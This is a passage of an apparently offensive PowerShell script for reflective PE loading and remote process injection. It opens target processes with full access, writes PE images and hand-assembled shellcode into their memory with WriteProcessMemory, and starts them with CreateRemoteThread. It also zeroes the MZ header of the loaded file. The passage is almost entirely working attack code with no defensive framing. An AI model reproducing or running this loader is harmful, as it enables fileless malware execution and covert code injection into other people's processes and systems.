  2097.                 Throw "Call to VirtualProtect failed"
  2098.             }
  2099.  
  2100.             $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
  2101.  
  2102.             $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  2103.         }
  2104.     }
  2105.  
  2106.  
  2107.  
  2108.  
  2109.  
  2110.     Function Get-MemoryProcAddress
  2111.     {
  2112.         Param(
  2113.         [Parameter(Position = 0, Mandatory = $true)]
  2114.         [IntPtr]
  2115.         $PEHandle,
  2116.  
  2117.         [Parameter(Position = 1, Mandatory = $true)]
  2118.         [String]
  2119.         $FunctionName
  2120.         )
  2121.  
  2122.         $Win32Types = Get-Win32Types
  2123.         $Win32Constants = Get-Win32Constants
  2124.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2125.  
  2126.  
  2127.         if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
  2128.         {
  2129.             return [IntPtr]::Zero
  2130.         }
  2131.         $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
  2132.         $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
  2133.  
  2134.         for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
  2135.         {
  2136.  
  2137.             $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
  2138.             $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
  2139.             $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
  2140.  
  2141.             if ($Name -ceq $FunctionName)
  2142.             {
  2143.  
  2144.  
  2145.                 $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
  2146.                 $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
  2147.                 $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
  2148.                 $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
  2149.                 return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
  2150.             }
  2151.         }
  2152.  
  2153.         return [IntPtr]::Zero
  2154.     }
  2155.  
  2156.  
  2157.     Function Invoke-MemoryLoadLibrary
  2158.     {
  2159.         Param(
  2160.         [Parameter( Position = 0, Mandatory = $true )]
  2161.         [Byte[]]
  2162.         $PEBytes,
  2163.  
  2164.         [Parameter(Position = 1, Mandatory = $false)]
  2165.         [String]
  2166.         $ExeArgs,
  2167.  
  2168.         [Parameter(Position = 2, Mandatory = $false)]
  2169.         [IntPtr]
  2170.         $RemoteProcHandle,
  2171.  
  2172.         [Parameter(Position = 3)]
  2173.         [Bool]
  2174.         $ForceASLR = $false
  2175.         )
  2176.  
  2177.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  2178.  
  2179.  
  2180.         $Win32Constants = Get-Win32Constants
  2181.         $Win32Functions = Get-Win32Functions
  2182.         $Win32Types = Get-Win32Types
  2183.  
  2184.         $RemoteLoading = $false
  2185.         if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
  2186.         {
  2187.             $RemoteLoading = $true
  2188.         }
  2189.  
  2190.  
  2191.         Write-Verbose "Getting basic PE information from the file"
  2192.         $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
  2193.         $OriginalImageBase = $PEInfo.OriginalImageBase
  2194.         $NXCompatible = $true
  2195.         if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
  2196.         {
  2197.             Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
  2198.             $NXCompatible = $false
  2199.         }
  2200.  
  2201.  
  2202.  
  2203.         $Process64Bit = $true
  2204.         if ($RemoteLoading -eq $true)
  2205.         {
  2206.             $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  2207.             $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
  2208.             if ($Result -eq [IntPtr]::Zero)
  2209.             {
  2210.                 Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
  2211.             }
  2212.  
  2213.             [Bool]$Wow64Process = $false
  2214.             $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
  2215.             if ($Success -eq $false)
  2216.             {
  2217.                 Throw "Call to IsWow64Process failed"
  2218.             }
  2219.  
  2220.             if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
  2221.             {
  2222.                 $Process64Bit = $false
  2223.             }
  2224.  
  2225.  
  2226.             $PowerShell64Bit = $true
  2227.             if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
  2228.             {
  2229.                 $PowerShell64Bit = $false
  2230.             }
  2231.             if ($PowerShell64Bit -ne $Process64Bit)
  2232.             {
  2233.                 throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
  2234.             }
  2235.         }
  2236.         else
  2237.         {
  2238.             if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
  2239.             {
  2240.                 $Process64Bit = $false
  2241.             }
  2242.         }
  2243.         if ($Process64Bit -ne $PEInfo.PE64Bit)
  2244.         {
  2245.             Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
  2246.         }
  2247.  
  2248.  
  2249.  
  2250.         Write-Verbose "Allocating memory for the PE and write its headers to memory"
  2251.  
  2252.  
  2253.         [IntPtr]$LoadAddr = [IntPtr]::Zero
  2254.         $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
  2255.         if ((-not $ForceASLR) -and (-not $PESupportsASLR))
  2256.         {
  2257.             Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
  2258.             [IntPtr]$LoadAddr = $OriginalImageBase
  2259.         }
  2260.         elseif ($ForceASLR -and (-not $PESupportsASLR))
  2261.         {
  2262.             Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
  2263.         }
  2264.  
  2265.         if ($ForceASLR -and $RemoteLoading)
  2266.         {
  2267.             Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
  2268.         }
  2269.         if ($RemoteLoading -and (-not $PESupportsASLR))
  2270.         {
  2271.             Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
  2272.         }
  2273.  
  2274.         $PEHandle = [IntPtr]::Zero
  2275.         $EffectivePEHandle = [IntPtr]::Zero
  2276.         if ($RemoteLoading -eq $true)
  2277.         {
  2278.  
  2279.             $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  2280.  
  2281.  
  2282.             $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2283.             if ($EffectivePEHandle -eq [IntPtr]::Zero)
  2284.             {
  2285.                 Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
  2286.             }
  2287.         }
  2288.         else
  2289.         {
  2290.             if ($NXCompatible -eq $true)
  2291.             {
  2292.                 $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  2293.             }
  2294.             else
  2295.             {
  2296.                 $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2297.             }
  2298.             $EffectivePEHandle = $PEHandle
  2299.         }
  2300.  
  2301.         [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
  2302.         if ($PEHandle -eq [IntPtr]::Zero)
  2303.         {
  2304.             Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
  2305.         }
  2306.         [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
  2307.  
  2308.  
  2309.  
  2310.         Write-Verbose "Getting detailed PE information from the headers loaded in memory"
  2311.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2312.         $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
  2313.         $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
  2314.         Write-Verbose "StartAddress: $(Get-Hex $PEHandle)    EndAddress: $(Get-Hex $PEEndAddress)"
  2315.  
  2316.  
  2317.  
  2318.         Write-Verbose "Copy PE sections in to memory"
  2319.         Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
  2320.  
  2321.  
  2322.  
  2323.         Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
  2324.         Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
  2325.  
  2326.  
  2327.  
  2328.         Write-Verbose "Import DLL's needed by the PE we are loading"
  2329.         if ($RemoteLoading -eq $true)
  2330.         {
  2331.             Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
  2332.         }
  2333.         else
  2334.         {
  2335.             Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
  2336.         }
  2337.  
  2338.  
  2339.  
  2340.         if ($RemoteLoading -eq $false)
  2341.         {
  2342.             if ($NXCompatible -eq $true)
  2343.             {
  2344.                 Write-Verbose "Update memory protection flags"
  2345.                 Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
  2346.             }
  2347.             else
  2348.             {
  2349.                 Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
  2350.             }
  2351.         }
  2352.         else
  2353.         {
  2354.             Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
  2355.         }
  2356.  
  2357.  
  2358.  
  2359.         if ($RemoteLoading -eq $true)
  2360.         {
  2361.             [UInt32]$NumBytesWritten = 0
  2362.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
  2363.             if ($Success -eq $false)
  2364.             {
  2365.                 Throw "Unable to write shellcode to remote process memory."
  2366.             }
  2367.         }
  2368.  
  2369.  
  2370.  
  2371.         if ($PEInfo.FileType -ieq "DLL")
  2372.         {
  2373.             if ($RemoteLoading -eq $false)
  2374.             {
  2375.                 Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
  2376.                 $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2377.                 $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2378.                 $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
  2379.  
  2380.                 $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
  2381.             }
  2382.             else
  2383.             {
  2384.                 $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2385.  
  2386.                 if ($PEInfo.PE64Bit -eq $true)
  2387.                 {
  2388.  
  2389.                     $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
  2390.                     $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
  2391.                     $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  2392.                 }
  2393.                 else
  2394.                 {
  2395.  
  2396.                     $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
  2397.                     $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
  2398.                     $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
  2399.                 }
  2400.                 $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
  2401.                 $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  2402.                 $SCPSMemOriginal = $SCPSMem
  2403.  
  2404.                 Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
  2405.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
  2406.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
  2407.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  2408.                 Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
  2409.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
  2410.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
  2411.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  2412.                 Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
  2413.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
  2414.  
  2415.                 $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2416.                 if ($RSCAddr -eq [IntPtr]::Zero)
  2417.                 {
  2418.                     Throw "Unable to allocate memory in the remote process for shellcode"
  2419.                 }
  2420.  
  2421.                 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  2422.                 if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  2423.                 {
  2424.                     Throw "Unable to write shellcode to remote process memory."
  2425.                 }
  2426.  
  2427.                 $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  2428.                 $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  2429.                 if ($Result -ne 0)
  2430.                 {
  2431.                     Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  2432.                 }
  2433.  
  2434.                 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  2435.             }
  2436.         }
  2437.         elseif ($PEInfo.FileType -ieq "EXE")
  2438.         {
  2439.  
  2440.             [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
  2441.             [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
  2442.             $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
  2443.  
  2444.  
  2445.  
  2446.             [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2447.             Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."
  2448.  
  2449.             $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
  2450.  
  2451.             while($true)
  2452.             {
  2453.                 [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
  2454.                 if ($ThreadDone -eq 1)
  2455.                 {
  2456.                     Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
  2457.                     Write-Verbose "EXE thread has completed."
  2458.                     break
  2459.                 }
  2460.                 else
  2461.                 {
  2462.                     Start-Sleep -Seconds 1
  2463.                 }
  2464.             }
  2465.         }
  2466.  
  2467.         return @($PEInfo.PEHandle, $EffectivePEHandle)
  2468.     }
  2469.  
  2470.  
  2471.     Function Invoke-MemoryFreeLibrary
  2472.     {
  2473.         Param(
  2474.         [Parameter(Position=0, Mandatory=$true)]
  2475.         [IntPtr]
  2476.         $PEHandle
  2477.         )
  2478.  
  2479.  
  2480.         $Win32Constants = Get-Win32Constants
  2481.         $Win32Functions = Get-Win32Functions
  2482.         $Win32Types = Get-Win32Types
  2483.  
  2484.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2485.  
  2486.  
  2487.         if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
  2488.         {
  2489.             [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
  2490.  
  2491.             while ($true)
  2492.             {
  2493.                 $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
  2494.  
  2495.  
  2496.                 if ($ImportDescriptor.Characteristics -eq 0 `
  2497.                         -and $ImportDescriptor.FirstThunk -eq 0 `
  2498.                         -and $ImportDescriptor.ForwarderChain -eq 0 `
  2499.                         -and $ImportDescriptor.Name -eq 0 `
  2500.                         -and $ImportDescriptor.TimeDateStamp -eq 0)
  2501.                 {
  2502.                     Write-Verbose "Done unloading the libraries needed by the PE"
  2503.                     break
  2504.                 }
  2505.  
  2506.                 $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
  2507.                 $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
  2508.  
  2509.                 if ($ImportDllHandle -eq $null)
  2510.                 {
  2511.                     Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
  2512.                 }
  2513.  
  2514.                 $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
  2515.                 if ($Success -eq $false)
  2516.                 {
  2517.                     Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
  2518.                 }
  2519.  
  2520.                 $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
  2521.             }
  2522.         }
  2523.  
  2524.  
  2525.         Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
  2526.         $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2527.         $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2528.         $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
  2529.  
  2530.         $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
  2531.  
  2532.  
  2533.         $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
  2534.         if ($Success -eq $false)
  2535.         {
  2536.             Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
  2537.         }
  2538.     }
  2539.  
  2540.  
  2541.     Function Main
  2542.     {
  2543.         $Win32Functions = Get-Win32Functions
  2544.         $Win32Types = Get-Win32Types
  2545.         $Win32Constants =  Get-Win32Constants
  2546.  
  2547.         $RemoteProcHandle = [IntPtr]::Zero
  2548.  
  2549.  
  2550.         if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
  2551.         {
  2552.             Throw "Can't supply a ProcId and ProcName, choose one or the other"
  2553.         }
  2554.         elseif ($ProcName -ne $null -and $ProcName -ne "")
  2555.         {
  2556.             $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
  2557.             if ($Processes.Count -eq 0)
  2558.             {
  2559.                 Throw "Can't find process $ProcName"
  2560.             }
  2561.             elseif ($Processes.Count -gt 1)
  2562.             {
  2563.                 $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
  2564.                 Write-Output $ProcInfo
  2565.                 Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
  2566.             }
  2567.             else
  2568.             {
  2569.                 $ProcId = $Processes[0].ID
  2570.             }
  2571.         }
  2572.  
  2573.  
  2574.  
  2575.  
  2576.  
  2577.  
  2578.  
  2579.  
  2580.  
  2581.         if (($ProcId -ne $null) -and ($ProcId -ne 0))
  2582.         {
  2583.             $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
  2584.             if ($RemoteProcHandle -eq [IntPtr]::Zero)
  2585.             {
  2586.                 Throw "Couldn't obtain the handle for process ID: $ProcId"
  2587.             }
  2588.  
  2589.             Write-Verbose "Got the handle for the remote process to inject in to"
  2590.         }
  2591.  
  2592.  
  2593.  
  2594.         Write-Verbose "Calling Invoke-MemoryLoadLibrary"
  2595.         $PEHandle = [IntPtr]::Zero
  2596.         if ($RemoteProcHandle -eq [IntPtr]::Zero)
  2597.         {
  2598.             $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
  2599.         }
  2600.         else
  2601.         {
  2602.             $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
  2603.         }
  2604.         if ($PELoadedInfo -eq [IntPtr]::Zero)
  2605.         {
  2606.             Throw "Unable to load PE, handle returned is NULL"
  2607.         }
  2608.  
  2609.         $PEHandle = $PELoadedInfo[0]
  2610.         $RemotePEHandle = $PELoadedInfo[1]
  2611.  
  2612.  
  2613.  
  2614.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2615.         if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
  2616.         {
  2617.  
  2618.  
  2619.  
  2620.             switch ($FuncReturnType)
  2621.             {
  2622.                 'WString' {
  2623.                     Write-Verbose "Calling function with WString return type"
  2624.                     [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
  2625.                     if ($WStringFuncAddr -eq [IntPtr]::Zero)
  2626.                     {
  2627.                         Throw "Couldn't find function address."
  2628.                     }
  2629.                     $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
  2630.                     $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
  2631.                     [IntPtr]$OutputPtr = $WStringFunc.Invoke()
  2632.                     $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
  2633.                     Write-Output $Output
  2634.                 }
  2635.  
  2636.                 'String' {
  2637.                     Write-Verbose "Calling function with String return type"
  2638.                     [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
  2639.                     if ($StringFuncAddr -eq [IntPtr]::Zero)
  2640.                     {
  2641.                         Throw "Couldn't find function address."
  2642.                     }
  2643.                     $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
  2644.                     $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
  2645.                     [IntPtr]$OutputPtr = $StringFunc.Invoke()
  2646.                     $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
  2647.                     Write-Output $Output
  2648.                 }
  2649.  
  2650.                 'Void' {
  2651.                     Write-Verbose "Calling function with Void return type"
  2652.                     [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
  2653.                     if ($VoidFuncAddr -eq [IntPtr]::Zero)
  2654.                     {
  2655.  
  2656.                     }
  2657.                     else
  2658.                     {
  2659.                     $VoidFuncDelegate = Get-DelegateType @() ([Void])
  2660.                     $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
  2661.                     $VoidFunc.Invoke() | Out-Null
  2662.                     }
  2663.                 }
  2664.             }
  2665.  
  2666.  
  2667.  
  2668.         }
  2669.  
  2670.         elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
  2671.         {
  2672.             $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
  2673.             if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
  2674.             {
  2675.  
  2676.             }
  2677.             else{
  2678.             $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
  2679.             $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
  2680.  
  2681.  
  2682.             $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
  2683.             }
  2684.         }
  2685.  
  2686.  
  2687.  
  2688.         if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
  2689.         {
  2690.  
  2691.         }
  2692.         else
  2693.         {
  2694.  
  2695.  
  2696.  
  2697.  
  2698.  
  2699.  
  2700.         }
  2701.  
  2702.         Write-Verbose "Done!"
  2703.     }
  2704.  
  2705.     Main
  2706. }
  2707.  
  2708.  
  2709. Function Main
  2710. {
  2711.     if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
  2712.     {
  2713.         $DebugPreference  = "Continue"
  2714.     }
  2715.  
  2716.     Write-Verbose "PowerShell ProcessID: $PID"
  2717.  
  2718.  
  2719.     $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
  2720.  
  2721.     if ($e_magic -ne 'MZ')
  2722.     {
  2723.         throw 'PE is not a valid PE file.'
  2724.     }
  2725.  
  2726.     if (-not $DoNotZeroMZ) {
  2727.  
  2728.  
  2729.         $PEBytes[0] = 0
  2730.         $PEBytes[1] = 0
  2731.     }
  2732.  
  2733.  
  2734.     if ($ExeArgs -ne $null -and $ExeArgs -ne '')
  2735.     {
  2736.         $ExeArgs = "ReflectiveExe $ExeArgs"
  2737.     }
